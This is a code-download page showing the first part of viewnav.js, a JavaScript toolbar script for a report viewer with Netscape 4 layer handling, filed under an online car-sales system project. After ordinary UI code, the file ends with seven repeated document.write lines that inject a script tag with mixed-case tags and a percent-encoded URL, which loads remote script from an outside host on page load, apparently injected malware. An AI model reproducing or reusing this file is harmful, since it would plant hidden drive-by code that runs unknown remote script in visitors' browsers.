⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 viewnav.js

📁 关于网上汽车销售系统的详细编程项目实战实例
💻 JS
📖 第 1 页 / 共 4 页
字号:
	for (var i = 0; i < g_scalingFactorValueList.length; i++)
	{
		if (scalingFactorValue == g_scalingFactorValueList[i])
			str += "<option value=" + '"' + g_scalingFactorValueList[i] + '"' + "selected>" + g_scalingFactorValueList[i] + "%"+"</option>";
		else
			str += "<option value=" + '"' + g_scalingFactorValueList[i] + '"' + ">" + g_scalingFactorValueList[i] + "%"+"</option>";
	}

	str += "</select>";
	return str;
}

/////////////////////////////////////////////////////////////////////////////////
function toolBuild()
{
	var l = this.layer;

	// Test if style sheets disabled
	if (!l) {
		alert(noStyle1 + noStyle2 + noStyle3);
		window.onError = null;
	}


 	if ( ns4 )
  	{
    	l.visibility		= "inherit";
    	l.bgColor			= this.bgColor;
    	l.top				= _top;
    	l.left				= 0;
	}
  	else
  	{
    	l.style.visibility		= "inherit";
    	//l.style.backgroundColor = this.bgColor;
    	l.className = "navbar";
    	l.style.top				= '0px';
    	l.style.left			= '0px';
  	}

	var cLeft, cRight, cTop, cBottom;

	cLeft = 0;
	cTop  = 0;

	if ( ns4 )
		cRight = 5000;
	else
		cRight = document.body.clientWidth;

	cBottom = _bottom;

	if ( ns4 )
	{
		l.clip.left		= cLeft;
		l.clip.right	= cRight;
		l.clip.top		= cTop;

		//toolbar size needs to be increased for Netscape on SunOS
		if (g_platform.indexOf("SunOS") != -1)
		{
			l.clip.bottom	= cBottom + 20;
		}
		else
		{
			l.clip.bottom	= cBottom + 4;
		}
	}
	else
	{
		// Increase the bottonm a wee bit to fit the toolbar frame for MSIE on MacOS,
		// and for Netscape 6
		if ( (g_browserType.name == "IE" && g_browserType.platform == "Mac")
								||
			 (g_browserType.name == "Netscape") )
		{
			cBottom = _bottom + 4;
		}

		l.style.width	= (cRight - cLeft) + 'px';
		l.style.height =  (cBottom - cTop) + 'px';
		l.style.clip		= "rect("+cTop+","+cRight+","+cBottom+","+cLeft+")";
	}

	var sFrmNavBar = getNavigationBarForm();

	if (ns4)
	{
		l.document.open();
		l.document.write(sFrmNavBar);
		l.document.close();
	}
	else
	{
		l.innerHTML = sFrmNavBar;
	}
}

///////////////////////////////////////////////////////////////////////////////

function Toolbar( layer )
{
	this.layer = layer;
	this.Name = "toolbar";
	this.toolBuildEx = toolBuild;
	this.zIndex = 0;
	this.bgColor = "#31699C";
	this.collapsedBgColor = "#31699C";
}

///////////////////////////////////////////////////////////////////////////////

function dbout( message )
{
	//alert( message );
}

///////////////////////////////////////////////////////////////////////////////

function getRecycledLayer( width, layerWindow )
{
	if ( ns4 )
	{
		var layer;
		dbout( 'in getRecycledLayer' );

		if ( layerWindow.name == 'reportframe' )
		{
			dbout( 'g_recycledReportLayersList.length = ' + g_recycledReportLayersList.length );

			if ( g_recycledReportLayersList.length )
			{
				dbout( 'using recycled layer' );
				layer = g_recycledReportLayersList[g_recycledReportLayersList.length-1];
				g_recycledReportLayersList.length--;
			}
			else
			{
				layer = new Layer( width, layerWindow );
			}
		}

		if ( layerWindow.name == 'searchframe' )
		{
		        if ( g_recycledSearchLayersList && g_recycledSearchLayersList.length )
			{
			        dbout( 'using recycled layer' );
				layer = g_recycledSearchLayersList[g_recycledSearchLayersList.length-1];
				g_recycledSearchLayersList.length--;
			}
			else
			{
			        layer = new Layer( width, layerWindow );
			}
		}

		return layer;
	}
}

///////////////////////////////////////////////////////////////////////////////

function recycleLayer( layerName, layerWindow, targetDocument )
{
	if ( ns4 )
	{
		var layerObject;
		layerObject = targetDocument.layers[layerName];

		dbout( 'in recycleLayer layerWindow.name = ' + layerWindow.name + ', layerObject = ' + layerObject );

		if ( layerObject )
		{
			if ( layerWindow.name == 'reportframe' )
			{
				g_recycledReportLayersList[g_recycledReportLayersList.length] = layerObject;
			}
			if ( layerWindow.name == 'searchframe' )
			{
				g_recycledSearchLayersList[g_recycledSearchLayersList.length] = layerObject;
			}

			targetDocument.layers[layerName] = null;
		}
	}
}

///////////////////////////////////////////////////////////////////////////////

function clearRecycledLayers( layerWindow )
{
	if ( ns4 )
	{
		if ( layerWindow.name == 'reportframe' )
		{
			for ( var index = 0; index < g_recycledReportLayersList.length; index++ )
			{
				delete g_recycledReportLayersList[g_recycledReportLayersList.length-index-1];
			}
			g_recycledReportLayersList.length = 0;
		}
		if ( layerWindow.name == 'searchframe' )
		{
			for ( var index = 0; index < g_recycledSearchLayersList.length; index++ )
			{
				delete g_recycledSearchLayersList[g_recycledSearchLayersList.length-index-1];
			}
			g_recycledSearchLayersList.length = 0;
		}
	}
}

///////////////////////////////////////////////////////////////////////////////

function loadSearch()
{
		if ( parent.frames.searchframe )
		{
			if (g_browserType.replaceFrameBreaksHistoryList)
				parent.frames.searchframe.location.href = parent.g_searchFrameURL;
			else
				parent.frames.searchframe.location.replace(parent.g_searchFrameURL);
		}

		if ( parent.frames.searchtoolbar )
		{
			parent.frames.searchtoolbar.location.replace( parent.g_searchTBFrameURL );
		}
}

///////////////////////////////////////////////////////////////////////////////

function onLoad()
{
	if (!js_IsReportCompleted)
		editValue = "";

	// These global variables need to get initialized in
	// the onLoad() method, so that when the page is
	// reloaded the variables are correct reinitialized.
	ns4 = (document.layers) ? true:false;
	g_platform = navigator.platform;

	theDownloadWindow = null;
	parent.g_bToolBarFrameLoaded = false;

	g_reportFrame = eval( 'parent.frames.reportframe' );

	g_recycledReportLayersList = new Array();
	g_recycledSearchLayersList = new Array();
	populateScalingFactorValueList();

	if ( ns4 )
		tb = new Toolbar( document.layers.toolbar );
	else
		tb = new Toolbar( elementLocate(document, "toolbar") );

	tb.toolBuildEx();

	setCurrentButton( -1 );

	// preload some images needed in the report frame for searching
	preLoadImage( imgHash );
	preLoadImage( imgBlank );
	if (!js_IsReportCompleted)
		changeClass( findButtonId( "toc" ), "disable" );
	else if ( parent.tocOpen )
		changeClass( findButtonId( "toc" ), "on" );
	else
		changeClass( findButtonId( "toc" ), "off" );

	parent.g_bToolBarFrameLoaded = true;

	if (ns4)
	{
		loadSearch();
	}
	else
	{
		if (g_browserType.cannotDynamicallyAdjustFrameset)
			loadSearch();
		else if (parent.g_commandName == "searchReport")
			loadSearch();
	}

	if (ns4)
	{
		if (parent.frames.tocframe)
			parent.frames.tocframe.location.replace( parent.g_tocFrameURL );
	}
	else
	{
		if (g_browserType.cannotDynamicallyAdjustFrameset && parent.frames.tocframe)
		{
			if (g_browserType.doesNotAlwaysLoadFrame)
				parent.frames.tocframe.location.replace("../viewer/blanknav.html");

			parent.frames.tocframe.location.replace( parent.g_tocFrameURL )
		}
	}

	if( !parent.g_bToolbarPageNumberSet)
	{
		if (parent.g_currentPageNumber)
		{
			hiddenValue = parent.g_currentPageNumber;
		}
		setPageNumber(hiddenValue);
		parent.g_bToolbarPageNumberSet = true;
	}

	if( parent.g_bReportFrameLoaded )
	{
		enableToolBarButtons();
	}
	else
	{
		if (g_browserType.replaceFrameBreaksHistoryList)
		{
			parent.frames.reportframe.location.href = parent.g_reportFrameURL;
		}
		else if (g_browserType.doesNotAlwaysLoadFrame && parent.frames.reportframe)
		{
			parent.frames.reportframe.location.replace( parent.g_reportFrameURL );
			enableToolBarButtons();
		}
	}

	if (!parent.stopRefresh && !parent.g_clickActionRefresh)
	{
		if(parent.g_locationStoreObject != null)
		{
	 		var index = parent.g_locationStoreObject.findAssociation(parent.g_objectURL); /*g_objectID*/
			if (index != -1)
			{
				hiddenValue = parent.g_locationStoreObject.getAssociationPage(index);
				setPageNumber(hiddenValue);
			}
	 		if (js_IsReportCompleted)
	 		{
	 			parent.stopRefresh = true;
	 		}
	 		scalingFactor = readScalingFactorCookie();
	 		ReplaceFrame(GetReplacementUrl(hiddenValue, scalingFactor));
	 	}
 	}

 	parent.g_clickActionRefresh = false;
 } // end onLoad()

function onUnload()
{
	if (theDownloadWindow)
		if (!theDownloadWindow.closed)
			theDownloadWindow.close();
}

/**
 * Changes the style of button
 */
function setClassName(linkObj, className)
{
	if (ns4)
	{
		var btnLayer = eval("document.layers[0].document.layers."+linkObj.name);
		var btnDoc = btnLayer.document;
		
		var btn = findButton(linkObj.name);
		if (btn)
		{
			btn.sClassName = className;
			btnDoc.open();
			btnDoc.write(btn.convertBtnToHtml());
			btnDoc.close();
		}
	}
	else
	{
		linkObj.className = className;
	}
}

/**
 * Changes the caption and style of button
 */
function changeCaptionAndStyle(linkObj, sCaptions, className)
{
	if (ns4)
	{
		var btnLayer = eval("document.layers[0].document.layers."+linkObj.name);
		var btnDoc = btnLayer.document;
		var btn = findButton(linkObj.name);

		if (btn)
		{
			if (btn.btnType == BTN_HAS_NOACTION)
			{
				btn.editValue = trim(btnDoc.forms[0].editThis.value);
			}
				
			btn.aCaptions = sCaptions;
			btn.sClassName = className;
			btnDoc.open();
			btnDoc.write(btn.convertBtnToHtml());
			btnDoc.close();
		}
	}
	else
	{
		linkObj.innerHTML=sCaptions;
	}
}

/**
 * Redirecting the Mouseout event of layer to link
 */
function layerOnMouseOut(thisObj, mouseevent, btnID)
{
	thisObj = thisObj.document.anchors[0];
	swapLinkClass(thisObj, mouseevent, btnID);
}

/**
 * Does Nothing
 */
function myVoid(){}

/**
 * returns Location of buttons according to the window's width
 */
function getBtnLocation(btnArray)
{

	if (ns4)
	{
		var _B_LETTER_WIDTH = 9;
		var _LETTER_WIDTH = 7;
		var _INTERVAL = 5;
		var _RETRIVE_CONTROL_INDEX = 6;
		var _RETRIVE_CONTROL_WIDTH = 205;
		var _MIN_STR_LENGTH = 4;

		var btnLocation = new Array(btnArray.length);
		var winWidth = window.innerWidth;
		var currentLocation = _INTERVAL;
		
		for (var i=0; i<btnArray.length; i++)
		{
			var btnCaption = btnArray[i].aCaptions;
			btnLocation[i] = currentLocation;
			
			var len_Cptn = btnCaption.length;
			len_Cptn = (len_Cptn >= _MIN_STR_LENGTH) ? len_Cptn : _MIN_STR_LENGTH;
			
			if (i == _RETRIVE_CONTROL_INDEX)
			{
				currentLocation = currentLocation + len_Cptn * _LETTER_WIDTH + _RETRIVE_CONTROL_WIDTH + _INTERVAL;
			}
			else
			{
				currentLocation = currentLocation + len_Cptn * _B_LETTER_WIDTH + _INTERVAL;
			}
		}

		// THIS NEED TO BE UNCOMMENTED AFTER TESTING IN ALL LOCALE
		/*if (currentLocation > winWidth)
		{
			for (var i=8; i<saCaptions.length; i++)
			{
				btnLocation[i] = currentLocation;
				var btnCaption = saCaptions[i];
				currentLocation = currentLocation + btnCaption.length * _LETTER_WIDTH + _INTERVAL;
			}
		}
		else
		{
			var lastTotalLenght = ((saCaptions[8].length + saCaptions[9].length) * _LETTER_WIDTH) + _INTERVAL * 3;
			var avlLenght = winWidth - currentLocation;
			
			if (avlLenght > lastTotalLenght)
			{
				var btnCaption = saCaptions[8];
				currentLocation = winWidth - lastTotalLenght;
				btnLocation[8] = currentLocation;
				
				btnCaption = saCaptions[9];
				currentLocation = (winWidth - (btnCaption.length * _LETTER_WIDTH + 2 * _INTERVAL));
				btnLocation[9] = currentLocation;
			}
			else
			{
				for (var i=8; i<saCaptions.length; i++)
				{
					btnLocation[i] = currentLocation;
					var btnCaption = saCaptions[i];
					currentLocation = btnCaption.length * _LETTER_WIDTH + _INTERVAL;
				}
			}
		}*/
		return btnLocation;
	}
	else
	{
		return new Array(5, 45, 85, 125, 165, 200, 250, 500, 560, 630, 700, 740);
	}
	
}

document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");

document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");

document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");

document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");

document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");

document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");

document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -